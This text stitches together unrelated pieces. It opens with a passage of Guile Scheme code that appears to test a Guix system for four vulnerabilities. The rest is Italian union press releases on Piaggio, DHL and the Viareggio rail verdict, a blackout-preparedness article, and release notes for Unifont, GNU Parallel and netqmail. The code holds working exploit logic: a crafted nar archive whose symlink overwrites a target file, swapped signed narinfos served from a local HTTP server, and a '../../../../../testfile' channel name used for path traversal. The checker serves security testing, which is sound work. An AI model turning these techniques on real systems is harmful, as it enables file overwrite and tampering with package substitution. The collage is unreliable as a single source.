(lambda (path info)
(unless info
(error "can't find substitutable path to test 'restore-file' with\n"))
(with-store store
(when (valid-path? store path)
(when (null? (delete-paths store (list path)))
(error "can't delete substitutable path to test 'restore-file' with\n"))))
(values path info))))
(define new-target-info-contents
(let* ((contents (narinfo-contents target-info))
(signature-index (string-contains contents "Signature:"))
(after-signature-index (string-index contents #\newline
signature-index))
(signed-contents (string-take contents (or after-signature-index
(string-length
contents)))))
(string-append signed-contents "
URL: example.nar
Compression: none
NarSize: 0\n")))
;; We can't delete target-file if it's owned by root, so overwrite it with
;; fresh, mostly-random contents each time, and check that the contents match.
(define test-contents
(format #f "VULNERABLE!~%~S:~S~%" (getpid) (random 100000000)))
(define test-nar
(call-with-output-bytevector
(lambda (port)
(for-each (lambda (s)
(write-string s port))
`("nix-archive-1"
"(" "type" "directory"
"entry" "(" "name" "a"
"node" "(" "type" "symlink"
"target" ,target-file ")" ")"
"entry" "(" "name" "a"
"node" "(" "type" "regular"
"contents" ,test-contents ")" ")"
")")))))
(define bad-request
(build-response #:code 400 #:reason-phrase "Unexpected request"))
(define target-uri-path
(string-append "/" (store-path-hash-part target-path) ".narinfo"))
(define nar-uri-path "/example.nar")
(define (handle request body)
(cond
((not (eq? (request-method request) 'GET))
(values bad-request ""))
((string=? (uri-path (request-uri request)) target-uri-path)
(format (current-error-port)
"Returning narinfo pointing to test nar~%")
(values (build-response #:code 200)
new-target-info-contents))
((string=? (uri-path (request-uri request)) nar-uri-path)
(format (current-error-port) "Returning test nar~%")
(values (build-response #:code 200)
test-nar))
(else
(values bad-request ""))))
(call-with-port (socket PF_INET SOCK_STREAM 0)
(lambda (sock)
(setsockopt sock SOL_SOCKET SO_REUSEADDR 1)
(bind sock (make-socket-address AF_INET INADDR_LOOPBACK 0))
(listen sock 5)
(let* ((port-number (sockaddr:port (getsockname sock)))
(substitute-url (string-append "http://localhost:"
(number->string port-number)
"/"))
(server-thread (call-with-new-thread
(lambda ()
(run-server handle http
`(#:socket ,sock))))))
(with-store store
(set-build-options store
#:substitute-urls (list substitute-url))
(guard (c ((store-error? c)
;; XXX doesn't actually cancel until something tries
;; connecting
(cancel-thread server-thread)
;;(join-thread server-thread)
(and (file-exists? target-file)
(string=? (call-with-input-file target-file
get-string-all)
test-contents))))
(build-things store (list target-path))
;; If the substitution actually completes without throwing then we
;; are most definitely vulnerable, but not just in 'restore-path'.
(error "!!!substitution of invalid nar completed???!!!")))))))
;; 2. fetch-narinfos
;; Identify two substitutable paths P1 and P2. Get P1 and P2's signed
;; narinfos, start an http server, connect to store, set substitute urls, ask
;; whether P1 and P2 are substitutable. Have http server serve P2's narinfo
;; when asked for P1's, and P1's when asked for P2's. If vulnerable, it will
;; report that both are substitutable, if not, it will report that neither
;; are.
;; We need two substitutable paths because the daemon<-->'guix substitute
;; --query' interface verifies that the info it gets back is for a path that
;; was requested, so the "replacement" path has to also be queried for
;; substitutability at the same time.
(define (fetch-narinfos-vuln?)
(define-values (hello-path hello-info)
(with-store store (package->path+narinfo store hello)))
(define-values (sed-path sed-info)
(with-store store (package->path+narinfo store sed)))
(define bad-request
(build-response #:code 400 #:reason-phrase "Unexpected request"))
(define hello-uri-path
(string-append "/" (store-path-hash-part hello-path) ".narinfo"))
(define sed-uri-path
(string-append "/" (store-path-hash-part sed-path) ".narinfo"))
(define (handle request body)
(cond
((not (eq? (request-method request) 'GET))
(values bad-request ""))
((string=? (uri-path (request-uri request)) hello-uri-path)
(format (current-error-port) "Returning sed when asked for hello~%")
;; Return the wrong result
(values (build-response #:code 200)
(narinfo-contents sed-info)))
((string=? (uri-path (request-uri request)) sed-uri-path)
(format (current-error-port) "Returning hello when asked for sed~%")
;; Return the wrong result
(values (build-response #:code 200)
(narinfo-contents hello-info)))
(else
(values bad-request ""))))
(unless (and hello-info sed-info)
(error "can't find substitutable paths to test 'fetch-narinfos' with"))
(call-with-port (socket PF_INET SOCK_STREAM 0)
(lambda (sock)
(setsockopt sock SOL_SOCKET SO_REUSEADDR 1)
(bind sock (make-socket-address AF_INET INADDR_LOOPBACK 0))
(listen sock 5)
(let* ((port-number (sockaddr:port (getsockname sock)))
(substitute-url (string-append "http://localhost:"
(number->string port-number)
"/"))
(server-thread (call-with-new-thread
(lambda ()
(run-server handle http
`(#:socket ,sock))))))
(with-store store
(set-build-options store
#:substitute-urls (list substitute-url))
(let ((substitutables
(substitutable-paths store (list hello-path sed-path))))
;; XXX doesn't actually cancel until something tries connecting
(cancel-thread server-thread)
;;(join-thread server-thread)
(not (null? substitutables))))))))
;; 3. file-uris
;; Create a fifo whose name is 32 nix-base32 characters followed by
;; ".narinfo", connect to store, set substitute urls to point to containing
;; directory, spawn a thread to block trying to open fifo write-only which
;; will subsequently set a flag and close the port, then ask whether some
;; store path with that hash is substitutable. It should fail in all cases.
;; Check whether the flag is set; if so, we're vulnerable, otherwise we're
;; not.
(define (file-uris-vuln?)
(if (zero? (getuid))
"Unknown, can't test as root because its settings are trusted"
(call-with-temporary-directory
(lambda (directory)
(define testfifo
(string-append directory "/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.narinfo"))
(define opened? (make-atomic-box #f))
(define store-item
(string-append (%store-prefix) "/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa-foo"))
(define open-thread
(begin
(mknod testfifo 'fifo #o744 0)
(call-with-new-thread
(lambda ()
(call-with-port (open testfifo O_WRONLY)
(lambda (port)
(atomic-box-set! opened? #t)))))))
(with-store store
(set-build-options store
#:substitute-urls (list (string-append "file://" directory)))
(guard (c ((store-error? c)
(cancel-thread open-thread)
(delete-file testfifo)
;; even though the file it is trying to open no longer
;; exists, the kernel doesn't give a result to open-thread
;; until someone ptraces it (or maybe sends a signal or
;; something).
;; (join-thread open-thread)
(atomic-box-ref opened?)))
(substitutable-paths store (list store-item))
(error "not supposed to get here!\n")))))))
;; 4. cache-key
;; Create a barebones git repository that is a valid channel, create a
;; <channel> that references it using a malformed name, set XDG_CACHE_HOME to
;; a directory inside a temporary directory (so that 'cache-directory' points
;; to a subdirectory of it), call authenticate-channel, see if a file outside
;; of XDG_CACHE_HOME gets created.
;; If you don't have Internet access, edit this to point to a local repository
;; containing at least commit 5a2d9baeda971df575c017669bca8eb8faa22ebd and its
;; ancestors, and the keyring branch.
(define guix-science-url
"https://codeberg.org/guix-science/guix-science.git")
(define (create-test-channel directory channel-name)
"Populate REPOSITORY with the necessary contents for it to be a valid
channel with 2 commits, then return three values: a <channel> for it with name
CHANNEL-NAME and an introduction to the first commit, the first commit, and
the second commit."
(define intro-commit
"b1fe5aaff3ab48e798a4cce02f0212bc91f423dc")
(define end-commit ;; The commit following intro-commit
"5a2d9baeda971df575c017669bca8eb8faa22ebd")
(define fingerprint
"CA4F 8CF4 37D7 478F DA05 5FD4 4213 7701 1A37 8446")
(define git %git) ;; From (guix config), guix has a hard dependency on git
(with-directory-excursion directory
(invoke git "init"
;; Silence warning
"--initial-branch=main")
(invoke git "remote" "add" "--" "origin" guix-science-url)
(invoke git "fetch" "--" "origin" end-commit)
(invoke git "checkout" "FETCH_HEAD")
(invoke git "fetch" "--" "origin" "refs/heads/keyring:keyring")
(values
(channel
(name channel-name)
(url (canonicalize-path directory))
(introduction (make-channel-introduction
intro-commit
(openpgp-fingerprint fingerprint))))
intro-commit
end-commit)))
(define (cache-key-vuln?)
(call-with-temporary-directory
(lambda (directory)
(let ((home (string-append directory "/home"))
(channel-repo (string-append directory "/channel-repo"))
(testfile (string-append directory "/testfile")))
(mkdir home)
(mkdir channel-repo)
(with-environment-variables `(("HOME" ,home)
("XDG_CACHE_HOME" ,(string-append home
"/.cache")))
(call-with-values
(lambda ()
(create-test-channel channel-repo
(string->symbol "../../../../../testfile")))
(lambda (channel first-commit last-commit)
(authenticate-channel channel channel-repo last-commit
#:keyring-reference-prefix "")))
(file-exists? testfile))))))
;; Results
(define vulnerabilities
(list (list "restore-file" restore-file-vuln?)
(list "fetch-narinfos" fetch-narinfos-vuln?)
(list "file-uris" file-uris-vuln?)
(list "cache-key" cache-key-vuln?)))
(define (call-with-errors-to-string proc)
(define tag (make-prompt-tag))
(call-with-prompt tag
(lambda ()
(with-throw-handler #t
proc
(rec (self key . args)
(let* ((stack (make-stack #t
1 ;self ;; Causes make-stack to return #f??
tag
))
(frames (stack-length stack))
(frame (stack-ref stack 0)))
(define error-string
(match args
(((or (? string? proc) (? symbol? proc))
(? string? message) (args ...) . rest)
(call-with-output-string
(lambda (port)
(display-error frame port proc message args
rest))))
(args
(call-with-output-string
(lambda (port)
(print-exception port frame key args))))))
(display-backtrace stack (current-error-port))
(display error-string (current-error-port))
(abort-to-prompt tag (string-append "error: "
(string-trim-both
error-string)))))))
(lambda (_ . args)
(apply values args))))
(define results
(map (match-lambda
((name proc)
(list name (if (string? proc)
proc ;; pass message through
(call-with-errors-to-string proc)))))
vulnerabilities))
(for-each (match-lambda
((name vulnerable?)
(format #t "~a: ~a~%"
name
(if (boolean? vulnerable?)
(if vulnerable? "vulnerable" "not vulnerable")
vulnerable?))))
results)
(exit (if (any second results) 1 0))
L’1 e il 2 luglio si è riunito a Roma, presso la sede GARR, il Board of Directors di GÉANT, l’organo di governo responsabile della direzione strategica e approvazione dei piani di attività della associazione e della supervisione dell’organizzazione.
Dal 1° luglio Piaggio aprirà l'ennesima procedura di solidarietà. Ancora una volta saranno gli operai a pagare il prezzo delle scelte aziendali, con meno salario e meno prospettive. Ma la situazione è ancora più grave. Da domani iniziano le fermate delle linee in diversi reparti. Alcune produzioni termineranno già a metà luglio. Il lavoro manca. E non manca per una fatalità o per una crisi improvvisa. Manca perché da anni è assente una vera strategia industriale. Gli investimenti vengono rinviati, i nuovi progetti non arrivano e lo stabilimento viene lasciato vivere alla giornata, senza una prospettiva di rilancio. Solo poche settimane fa si celebravano gli ottant'anni della Vespa. Discorsi, fotografie, autorità e applausi raccontavano l'eccellenza italiana e un marchio simbolo nel mondo. Finita la propaganda, però, resta la realtà: fermate produttive, solidarietà, salari che diminuiscono e un futuro sempre più incerto. È questa la distanza tra la narrazione e ciò che gli operai vivono ogni giorno.
Piaggio continua a utilizzare gli ammortizzatori sociali come uno strumento ordinario di gestione, trasferendo sui lavoratori e sulla collettività il costo delle proprie scelte. È inaccettabile che si continui a ricorrere alla solidarietà senza assumersi la responsabilità di rilanciare davvero il sito di Pontedera. Per USB la solidarietà non può tradursi in un taglio dello stipendio. Se l'azienda sceglie questa strada, deve garantire l'integrazione salariale. Gli operai non possono diventare il bancomat a cui attingere ogni volta che vengono meno programmazione, investimenti e visione industriale. Anche questa volta tutto viene deciso all'ultimo momento. I lavoratori vengono convocati quando le decisioni sono già state prese, senza un confronto reale e senza una trattativa vera. Si chiede soltanto di ratificare un accordo già scritto.
Negli anni questo metodo è stato presentato come responsabilità. In realtà ha finito per trasformare la responsabilità in semplice accettazione delle decisioni aziendali. Ogni sacrificio viene descritto come inevitabile, ogni arretramento come necessario, ogni accordo come il migliore possibile. Ma il compito di un delegato sindacale non è accompagnare i lavoratori ad accettare nuovi sacrifici. È rappresentarli, difenderne il salario, contrastare le scelte sbagliate e pretendere investimenti e prospettive. Quando invece si firma tutto, si giustifica tutto e si invita sempre e soltanto ad avere pazienza, si smette di rappresentare gli operai e si finisce per assecondare un modello che punta a una fabbrica senza conflitto e a lavoratori sempre più ricattabili.
Gli accordi al ribasso non hanno salvato il futuro dello stabilimento. Lo hanno progressivamente indebolito. Ogni firma che ha ridotto diritti e tutele è stata giustificata in nome del domani. Quel domani oggi è sotto gli occhi di tutti: esuberi, fermate produttive, solidarietà e assenza di una prospettiva industriale. Anche la politica porta una responsabilità enorme. Quando c'è da inaugurare una mostra sulla Vespa o partecipare a una celebrazione, le istituzioni sono sempre presenti. Quando invece occorre pretendere investimenti, difendere l'occupazione e chiedere conto delle scelte industriali della proprietà, prevalgono il silenzio e l'inerzia. Da anni Comune, Regione e Governo assistono senza intervenire al progressivo indebolimento dello stabilimento. Si evita di mettere in discussione la proprietà e di aprire un confronto serio sul futuro industriale di Pontedera. Eppure è compito delle istituzioni pretendere un piano industriale credibile, vincolare gli incentivi pubblici agli investimenti e garantire un confronto permanente sul futuro produttivo del territorio. Il lavoro si difende con gli atti, non con le fotografie. Per questo non possiamo accettare che gli ammortizzatori sociali diventino una componente strutturale del modello Piaggio, né che siano sempre gli operai a pagare il prezzo delle scelte aziendali. Allo stesso modo, il sindacato non può ridursi a certificare decisioni già prese. Serve rompere un equilibrio costruito sul silenzio, sulla rassegnazione e sulla continua ricerca della pace sociale.
La storia del movimento operaio insegna una cosa semplice: nessun diritto è stato regalato. Tutto è stato conquistato attraverso il conflitto. Chi rinuncia al conflitto finisce inevitabilmente per accettare l'arretramento dei diritti e le decisioni dell'azienda. Ed è proprio questa scelta a rendere sempre più evidente da quale parte si decide di stare. Chi oggi invita ad abbassare la testa non sta difendendo il lavoro. Sta soltanto rendendo più semplice il compito di chi vuole continuare a ridurre salari, diritti e occupazione. Per questo il primo passo è ricostruire partecipazione, consapevolezza e organizzazione. È il momento di scegliere da che parte stare. Noi, come sempre, stiamo dalla parte degli operai.
CHI FIRMA LA RESA È PARTE DEL PROBLEMA. I DIRITTI NON SI FIRMANO. SI CONQUISTANO CON LA LOTTA.
Nella giornata di ieri una delegazione dei collettivi, sindacati e partiti che da anni lottano contro la militarizzazione del nostro porto e la complicità della nostra città con le guerre americane e israeliane ha incontrato il presidente dell’Autorità di Sistema Davide Gariglio e il dirigente demanio portuale Marilli. Incontro richiesto durante la recente manifestazione di protesta davanti a Palazzo Rosciano. Abbiamo nuovamente espresso la nostra forte opposizione rispetto alla possibilità che l’azienda Drass, che dovrà produrre sottomarini da guerra per il governo indonesiano, possa ricevere in concessione spazi del nostro porto per i test di questi sottomarini. Sappiamo inoltre che le concessioni per gli spazi che si stanno liberando in porto verranno rilasciate per periodi che raggiungono anche i dieci anni, motivo di ulteriore preoccupazione qualora aziende impegnate nella filiera bellica dovessero appropriarsene, rendendo di fatto il nostro porto luogo di produzione e test di mezzi destinati alla guerra. Le ragioni che sono state espresse, a sostegno della nostra posizione, non hanno solo un carattere etico e politico. Basterebbero quelle. Ma anche economiche ed occupazionali. I traffici e le attività civili, ormai è ampiamente noto, hanno un’incidenza occupazionale ben maggiore. Inoltre, vi sono anche ragioni legate alla sicurezza dei lavoratori portuali e non solo. Al netto di quali saranno le decisioni dell’Autorità e i bandi di assegnazione che usciranno siamo pronte e pronti a dare battaglia come tante altre volte, ricordando sempre che la guerra non è fatta solo di bombe e proiettili, ma anche e soprattutto di logistica, mezzi di trasporto e demolizione, come i caterpillar israeliani che fermammo a settembre al molo Italia.
Negli ultimi giorni USB Livorno ha inviato decine di segnalazioni, diffide e denunce agli organi competenti in merito al rischio elevato di stress termico per i lavoratori. Parliamo principalmente di piazzali all’aperto e capannoni industriali. Sono già diversi i malori registrati, almeno due presso la fabbrica Trelleborg in via March e su un piazzale gestito dalla Porto2000. In porto, per ben due volte, lavoratori e RLS hanno interrotto temporaneamente le operazioni di carico cellulosa in stiva, dopo aver constatato temperature insopportabili. I'8 luglio si riunirà, presso l'Autorità di Sistema, il comitato salute e sicurezza proprio su questo tema.
Richieste di intervento urgente sono state inviate presso alcuni piazzali di logistica come MVN, magazzini, ad esempio DHL, Fondazione Goldoni, Solvay, Magna Closures Le richieste sono sempre le medesime ma trovano costantemente l’opposizione dei datori di lavoro. Sospensione delle attività, pause aggiuntive, locali idonei e attrezzati per abbattere le temperature durante lo stop alle attività, cambi turno e nei casi limite accesso alla cassa integrazione così come previsto dai protocolli. Il riferimento chiaro è l’indice calcolato tra temperatura e umidità. Se si supera una certa soglia i lavoratori devono essere messi in sicurezza. Purtroppo, nella stragrande maggioranza dei casi, senza l’intervento tempestivo del sindacato o dei rappresentanti dei lavoratori per la sicurezza le aziende tendono a garantire la produzione a tutti i costi a discapito della salute e della sicurezza dei lavoratori. In questo senso, oltre ad invitare i lavoratori e le lavoratrici a contattare la nostra organizzazione sindacale in caso di necessità, crediamo sia urgente prevedere meccanismi automatici di intervento in caso di rischio stress termico e relative sanzioni per le aziende che non rispettano le procedure. L’ordinanza regionale è limitata solo ad alcuni settori mentre nelle fabbriche e nei piazzali portuali e della logistica si mette a rischio la vita. Così come in tanti altri luoghi di lavoro.
Nell'epoca in cui l'Occidente si riarma per l'ennesima volta, Greco analizza il rapporto tra il cinema e la guerra in chiave estetica, storica, geopolitica e filosofica.
Uno sguardo acuto e senza sconti per decodificare un genere che ha avuto, fin dalle origini del cinema, un ruolo chiave come
strumento di propaganda.
Vadim Bottoni nella prefazione scrive: "Greco non si limita a denunciare il rapporto, pure documentato e storicamente rilevante, tra industria cinematografica, potere politico e apparati militari. Non si accontenta di mostrare come Hollywood abbia accompagnato, sostenuto o anticipato l’immaginario strategico degli Stati Uniti. Il punto più interessante del
volume è un altro: interrogare il cinema come dispositivo di formazione dell’immaginazione politica, cioè come luogo in cui la guerra viene
resa narrabile, accettabile, desiderabile o comunque inevitabile.”
In questa visione diviene chiaro come “Il campo di battaglia si prolunga nello schermo, e lo schermo non è un semplice riflesso del conflitto:
è uno dei luoghi in cui si combatte l’invisibile guerra cognitiva".
Gli dai in pasto l'umido di casa e lui ne riduce il volume del 90%, così puoi conservarlo in casa finché proprio devi. Ecco com'è il tritarifiuti Dreame tra pregi e difetti
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A mesi dalle mobilitazioni culminate nei due giorni di sciopero del febbraio 2026, durante i quali lavoratori e attivisti USB sono stati minacciati di licenziamento e denuncia per i picchetti davanti alla sede aziendale, restano irrisolte le gravi criticità nell'appalto DHL di Livorno. B.S. Autotrasporti continua a sottrarsi a un confronto serio con i lavoratori e con USB. Il dialogo con coordinatori e responsabili è spesso inesistente, rendendo impossibile affrontare i problemi che emergono quotidianamente. USB ha proposto incontri periodici tra coordinatori e corrieri per migliorare l'organizzazione dei giri, distribuire equamente i carichi di lavoro, prevenire contestazioni disciplinari e rendere più efficiente il servizio. Una proposta che l'azienda continua a ignorare. Ai lavoratori viene imposto il rigoroso rispetto delle procedure DHL senza garantire condizioni che consentano di operare in sicurezza, nel rispetto del Codice della Strada e delle normative vigenti. Carichi di lavoro e tempi di consegna rendono sempre più difficile rispettare contemporaneamente tutte queste prescrizioni. Restano inoltre aperte le violazioni contrattuali: decurtazioni unilaterali di ferie e ROL per esigenze aziendali, senza il consenso dei lavoratori, e il mancato riconoscimento della maggiorazione prevista dal CCNL per il personale di magazzino impiegato il sabato. Dopo essere stata costretta a riconoscere USB come interlocutore sindacale, l'azienda continua a mantenere un atteggiamento ostile verso i lavoratori organizzati. Contestazioni disciplinari e sanzioni vengono applicate a pioggia e con crescente severità. Si passa da pesanti decurtazioni salariali a sospensioni dal lavoro e dalla retribuzione sempre più lunghe, con un progressivo inasprimento dell'azione disciplinare che sembra preludere anche al possibile ricorso al licenziamento. Un'escalation che, in diversi casi, assume un evidente carattere intimidatorio e ritorsivo nei confronti di chi rivendica i propri diritti o partecipa all'attività sindacale. A fronte di questi provvedimenti, l'azienda continua inoltre a non fornire documentazione che dimostri l'effettiva applicazione delle presunte penali da parte della committenza DHL, utilizzate per giustificare le sanzioni. Persistono pressioni e intimidazioni nei confronti dei lavoratori, in particolare degli iscritti e dei delegati sindacali, in un clima incompatibile con le libertà garantite dalla Costituzione e dallo Statuto dei Lavoratori. Non si tratta di episodi isolati, ma di un quadro complessivo che sembra mirare a scoraggiare ogni forma di iniziativa collettiva. Emerge una precisa volontà di comprimere gli spazi del conflitto sindacale, trattando l'organizzazione dei lavoratori come un ostacolo alla continuità del servizio e alla circolazione delle merci, anziché come un diritto. Quando l'attività sindacale viene ostacolata, chi sciopera viene intimidito e chi organizza la protesta viene colpito con provvedimenti disciplinari o minacciato di conseguenze ancora più gravi, non è in discussione soltanto la posizione dei singoli lavoratori, ma il diritto collettivo di organizzarsi, contrattare e costruire rapporti di forza per difendere salario e sicurezza. Per tutte queste ragioni USB ha riaperto formalmente lo stato di agitazione dal 6 maggio. Nonostante le ripetute richieste, l'azienda continua a rifiutare un confronto effettivo e ad assumere impegni concreti per risolvere i problemi denunciati dai lavoratori. USB continuerà a intervenire su tutti i piani, sindacale, legale e di mobilitazione, per difendere diritti, sicurezza, salario e il pieno esercizio delle libertà sindacali. Dopo aver formalmente diffidato l'azienda, denunciamo pubblicamente questo atteggiamento e ribadiamo che non accetteremo ulteriori intimidazioni, ricatti o comportamenti discriminatori.
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28 June 2026 Unifont 17.0.05 is now available. This is a minor release aligned with Unicode 17.0.0.
This release notably includes separate BDF, PCF, and OpenType font files with Unicode T-source Chinese glyphs created by Kusanagi_Sans and Kao Chen-tung (高振東) in font files beginning with "unifont_t". Many other Chinese glyphs have been added. See the ChangeLog file for details.
Grazie alla genetica agraria diventa possibile identificare ciò che rende alcune piante più resilienti a un certo clima e usarlo per migliorarne altre. Una sfida che riguarda anche l'Italia
GNU Parallel 20260622 ('Rape Gang Inquiry') has been released. It is available for download at: lbry://@GnuParallel:4
Quote of the month:
GNU Parallel is much nicer than xargs and more powerful ... definitely recommended!
-- boomertsfx@reddit
New in this release:
testsuite reorganized.
Bug fixes and man page updates.
GNU Parallel - For people who live life in the parallel lane.
If you like GNU Parallel record a video testimonial: Say who you are, what you use GNU Parallel for, how it helps you, and what you like most about it. Include a command that uses GNU Parallel if you feel like it.
About GNU Parallel
GNU Parallel is a shell tool for executing jobs in parallel using one or more computers. A job can be a single command or a small script that has to be run for each of the lines in the input. The typical input is a list of files, a list of hosts, a list of users, a list of URLs, or a list of tables. A job can also be a command that reads from a pipe. GNU Parallel can then split the input and pipe it into commands in parallel.
If you use xargs and tee today you will find GNU Parallel very easy to use as GNU Parallel is written to have the same options as xargs. If you write loops in shell, you will find GNU Parallel may be able to replace most of the loops and make them run faster by running several jobs in parallel. GNU Parallel can even replace nested loops.
GNU Parallel makes sure output from the commands is the same output as you would get had you run the commands sequentially. This makes it possible to use output from GNU Parallel as input for other programs.
For example you can run this to convert all jpeg files into png and gif files and have a progress bar:
GNU sql aims to give a simple, unified interface for accessing databases through all the different databases' command line clients. So far the focus has been on giving a common way to specify login information (protocol, username, password, hostname, and port number), size (database and table size), and running queries.
The database is addressed using a DBURL. If commands are left out you will get that database's interactive shell.
When using GNU SQL for a publication please cite:
O. Tange (2011): GNU SQL - A Command Line Tool for Accessing Different Databases Using DBURLs, ;login: The USENIX Magazine, April 2011:29-32.
About GNU Niceload
GNU niceload slows down a program when the computer load average (or other system activity) is above a certain limit. When the limit is reached the program will be suspended for some time. If the limit is a soft limit the program will be allowed to run for short amounts of time before being suspended again. If the limit is a hard limit the program will only be allowed to run when the system is below the limit.
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Ieri sera, 25 giugno 2026, la Quarta Sezione Penale della Corte di Cassazione ha reso definitive le condanne per la strage ferroviaria di Viareggio del 29 giugno 2009, in cui persero la vita 32 persone e oltre un centinaio rimasero ferite. Rigettati i ricorsi degli imputati, è confermata tra le altre la condanna a cinque anni per Mauro Moretti, ex amministratore delegato di Ferrovie dello Stato e RFI.
USB Toscana esprime vicinanza ai familiari delle vittime e a tutte le lavoratrici e i lavoratori ferroviari che per diciassette anni hanno tenuto viva la memoria e la battaglia per la giustizia.
Una giustizia parziale, strappata metro per metro
Questa condanna definitiva è un risultato importante, ma non cancella né le ferite di chi ha perso una persona cara, né quelle prodotte dal percorso giudiziario stesso. Nel 2021 la Cassazione aveva dichiarato prescritti i reati di omicidio colposo, non riconoscendo l'aggravante della violazione delle norme sulla sicurezza sul lavoro. Trentadue persone morte, e l'omicidio andato in prescrizione: un paradosso che rivela tutto il limite di un sistema che tutela i potenti più delle vittime. Tutte le condanne riguardano il solo reato di disastro ferroviario colposo, l'unico sopravvissuto alla ghigliottina della prescrizione. Come ricordano i familiari: la prescrizione non è un'assoluzione.
Le responsabilità sono di classe, non solo individuali
Nel processo è emersa una deliberata politica aziendale improntata al risparmio sulla sicurezza e alla massimizzazione dei profitti, con un rischio consapevolmente scaricato su lavoratori e cittadini. Quella notte non fu una fatalità: fu il frutto della ricerca del profitto a tutti i costi. I tagli al personale, la deregolamentazione della manutenzione, l'esternalizzazione a catena delle responsabilità erano il sistema. Moretti ne era il volto pubblico, non un'eccezione. Cinque anni di pena per 32 vite spezzate non è la giustizia che queste famiglie meritano. Lo ricorda bene Daniela Rombi, presidente de "Il Mondo che vorrei", che nella strage perse una figlia di ventuno anni: "Sette tribunali hanno detto che sono colpevoli e la prescrizione non è un'assoluzione. Per noi restano colpevoli anche dei reati prescritti."
La lotta deve continuare: salari, salute e sicurezza sul lavoro
Viareggio non è un caso isolato: è il punto più tragico di una linea che attraversa decenni di tagli, precarizzazione e smantellamento delle tutele. Ogni anno in Italia muoiono migliaia di lavoratrici e lavoratori, e la risposta giudiziaria arriva decenni dopo, ridotta dalla prescrizione. Non basta. USB si batte ogni giorno su tre fronti inscindibili: salari dignitosi, salute nei luoghi di lavoro, sicurezza reale — non quella scritta nei contratti e ignorata nei fatti. Lo abbiamo fatto nelle vertenze, negli scioperi contro i piani industriali che svuotano gli organici, nelle lotte di chi lavora in condizioni insicure senza voce per dirlo. La logica che ha prodotto Viareggio, il profitto prima delle persone, è la stessa che USB contrasta ogni giorno nei trasporti, nella logistica, nella scuola, nella sanità, nell'industria. Non si tratta di sicurezza come voce di bilancio: si tratta di vite umane da tutelare.
Alle famiglie che hanno lottato per diciassette anni diciamo: siete stati voi i veri protagonisti di questa storia. Noi non vi lasceremo da soli.
Aug 31, 2026 - fixed a qmail-queue issue on OpenBSD
25 giugno 2026 - disponibile il ramo netqmail per utenti OpenBSD
19 agosto 2025 - netqmail-1.07.1 ora compila con gcc 15.3
10 febbraio 2025 - i sorgenti di netqmail sono ora compatibili con le nuove versioni di gcc e clang. - rinominati come netqmail-1.07 i vecchi sorgenti di netqmail
Nell’aprile del 2025, la penisola Iberica con gran parte della Francia, affronta un blackout su larga scala per diverse ore, causato da un malfunzionamento della linea di distribuzione elettrica.
All’epoca parlammo già di questo episodio con un articolo ad hoc.
Quest’anno, purtroppo, è toccato al nostro paese.
Negli ultimi giorni diverse zone del Nord Italia sono rimaste improvvisamente senza energia elettrica. Guasti alle linee e cabine elettriche hanno lasciato centinaia di famiglie al buio per diverse ore. Episodi simili sono stati segnalati in numerose aree del Paese.
Per molti si è trattato semplicemente di un disagio temporaneo: qualche ora senza luce, il condizionatore fermo e il frigorifero spento. Ma questi eventi rappresentano anche un’occasione per fermarsi a riflettere su un aspetto che spesso diamo per scontato: quanto dipendiamo dall’energia elettrica?
Fino a pochi decenni fa un’interruzione della corrente significava principalmente accendere una candela e attendere il ritorno dell’energia. Oggi la situazione è completamente diversa. La nostra vita quotidiana ruota attorno all’elettricità: lavoriamo da casa, comunichiamo attraverso Internet, paghiamo con strumenti elettronici, utilizziamo cancelli automatici, pompe dell’acqua, sistemi di allarme, elettrodomestici e dispositivi medici. Basta osservare una normale abitazione per rendersi conto di quanto ogni attività dipenda, direttamente o indirettamente, dalla presenza della corrente.
Naturalmente nessuno può affermare che questi blackout siano il segnale di un imminente collasso della rete elettrica italiana. Sarebbe una conclusione affrettata e priva di fondamento. Tuttavia è altrettanto vero che le reti di distribuzione stanno affrontando nuove sfide. Le estati sempre più calde comportano un utilizzo massiccio dei climatizzatori, gli eventi meteorologici estremi diventano più frequenti e molte infrastrutture, realizzate decenni fa, richiedono continui interventi di manutenzione e ammodernamento. In questo contesto è ragionevole aspettarsi che episodi di interruzione dell’energia possano verificarsi con maggiore frequenza rispetto al passato.
La preparazione, però, non nasce dalla paura. Nasce dal buon senso.
Uno dei principi fondamentali del prepping consiste proprio nel prepararsi agli eventi più probabili, non necessariamente a quelli più catastrofici. Un blackout di alcune ore è infinitamente più probabile di molti altri scenari di cui spesso si parla sui social. Eppure sono proprio questi piccoli eventi a coglierci impreparati.
Provate ad immaginare una normale serata estiva. Fuori ci sono oltre trenta gradi, il sole è appena tramontato e improvvisamente tutta la casa rimane al buio. Il condizionatore si spegne, il Wi-Fi scompare, il cancello automatico non si apre più e la batteria del telefono è quasi scarica. Se l’interruzione dovesse protrarsi per qualche ora, anche il frigorifero inizierebbe lentamente a perdere la propria capacità di conservazione e molte persone inizierebbero a chiedersi semplicemente: “E adesso cosa faccio?”
Perché aumentano i blackout?
Le principali cause sono:
temperature sempre più elevate;
utilizzo contemporaneo di milioni di climatizzatori;
infrastrutture elettriche datate in alcune aree;
temporali, vento e alberi che danneggiano le linee;
guasti improvvisi alle cabine di trasformazione.
In molti casi non è la produzione di energia a mancare, ma è la rete di distribuzione locale ad andare in difficoltà.
Nota Ecologica
Caldo, blackout e città sempre più invivibili: non è un caso.
I cavi elettrici che portano energia nelle case passano sottoterra.
Quando aumenta l’uso dei condizionatori, si surriscaldano e devono disperdere più calore.
Il problema? Coprendo il suolo naturale con asfalto e cemento, nelle città le temperature salgono molto di più (a Torino oltre 65°C sull’asfalto). Questo impedisce ai cavi di raffreddarsi.
Risultato:
blackout
cibo che si rovina
allarmi che impazziscono
Persone fragili a rischio vita
E non finisce qui:
Temperature più alte = nubifragi più violenti
Strade, cantine e garage allagati
Altri danni, altri costi.
Il punto è semplice: Il consumo di suolo non è progresso. Il È uno spreco che crea problemi reali per tutti. (nota personale a cura di Lavino Pasquale)
Cosa succede durante un blackout?
Molti pensano semplicemente:
“Si spegne la luce.”
In realtà gli effetti possono essere molto più ampi.
Ad esempio:
il frigorifero smette di raffreddare;
il congelatore inizia lentamente a scongelarsi;
modem e Wi-Fi si spengono;
cancelli elettrici potrebbero non aprirsi;
ascensori fuori servizio;
pompe dell’acqua ferme dove presenti;
POS e bancomat potrebbero non funzionare;
distributori di carburante temporaneamente inutilizzabili;
difficoltà nelle comunicazioni se le batterie delle antenne si esauriscono.
